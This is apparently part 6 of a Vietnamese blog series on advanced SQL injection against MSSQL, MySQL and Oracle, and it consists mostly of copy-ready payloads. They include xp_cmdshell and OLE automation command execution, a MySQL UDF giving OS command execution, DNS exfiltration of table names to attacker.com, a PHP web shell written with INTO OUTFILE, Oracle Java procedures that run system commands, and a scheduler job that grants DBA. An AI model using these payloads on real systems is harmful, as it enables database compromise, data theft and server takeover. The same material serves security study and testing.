Table of Contents
Kỹ thuật ép lỗi từ cơ sở dữ liệu cho SQL Injection
Dưới đây là một số kỹ thuật tiêm SQL tiên tiến và hiếm gặp cho MSSQL, MySQL
và Oracle. Các kỹ thuật này vượt xa các kỹ thuật cơ bản và khai thác các
tính năng và cấu hình cụ thể của cơ sở dữ liệu.
MSSQL
1. Quy trình tự động hóa OLE
Phương pháp này sử dụng các thủ tục tự động hóa OLE để thực thi các lệnh hệ thống.DECLARE @Object INT; EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT; EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';
2. Shell XP_CMD với tính năng leo thang đặc quyền
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
Tính năng này cho phép xp_cmdshellthực thi các lệnh hệ thống nếu nó chưa được
bật.
3. Máy chủ được liên kết
EXEC sp_addlinkedserver 'attacker_server'; EXEC sp_addlinkedsrvlogin 'attacker_server', 'false', NULL, 'username', 'password'; EXEC ('xp_cmdshell ''net user''') AT attacker_server;
Kỹ thuật này sử dụng các máy chủ được liên kết để chạy lệnh trên một máy chủ
khác.
MySQL
1. UDF (Hàm do người dùng xác định) để thực hiện lệnh từ xa
CREATE TABLE foo(line BLOB); INSERT INTO foo VALUES (LOAD_FILE('/usr/lib/lib_mysqludf_sys.so')); SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id > /tmp/out; chown mysql.mysql /tmp/out');
Kỹ thuật này liên quan đến việc tạo UDF để thực thi các lệnh hệ thống.
2. Lọc DNS
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT table_name FROM information_schema.tables LIMIT 0,1), '.attacker.com\\a'));
Điều này sẽ rò rỉ dữ liệu thông qua các yêu cầu DNS đến miền do kẻ tấn công
kiểm soát.
3. Tiêm Nhật ký nhị phân
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Điều này khai thác tính năng nhật ký nhị phân để viết một web shell.
Oracle
1. Các thủ tục Java để thực hiện lệnh
EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' ); EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' ); EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' ); CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS import java.io.*; public class cmd { public static String run(String cmd) { try { StringBuffer output = new StringBuffer(); Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = ""; while ((line = reader.readLine())!= null) { output.append(line + "\n"); } return output.toString(); } catch (Exception e) { return e.toString(); } } }; / CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'cmd.run(java.lang.String) return java.lang.String'; / SELECT run_cmd('id') FROM dual;
Phương pháp này sử dụng các thủ tục lưu trữ Java để thực thi các lệnh hệ
thống.
2. Gói UTL_FILE để truy cập tệp
DECLARE l_file UTL_FILE.FILE_TYPE; l_text VARCHAR2(32767); BEGIN l_file := UTL_FILE.FOPEN('DIRECTORY_NAME', 'output.txt', 'W'); UTL_FILE.PUT_LINE(l_file, 'Data from UTL_FILE'); UTL_FILE.FCLOSE(l_file); END;
Kỹ thuật này sử dụng UTL_FILEgói để ghi tập tin vào máy chủ.
3. DBMS_SCHEDULER để thực hiện công việc
BEGIN DBMS_SCHEDULER.create_job( job_name => 'job1', job_type => 'PLSQL_BLOCK', job_action => 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END;', start_date => SYSTIMESTAMP, repeat_interval => NULL, end_date => NULL, enabled => TRUE ); END;
Điều này được sử dụng DBMS_SCHEDULERđể thực hiện các công việc có thể thay đổi
quyền cơ sở dữ liệu.
Hết phần 6
Phần 1 tại đây | Phần 2 tại đây | Phần 3 tại đây | Phần 4 tại đây | Phần 5 tại đây | Phần 6-2 tại đây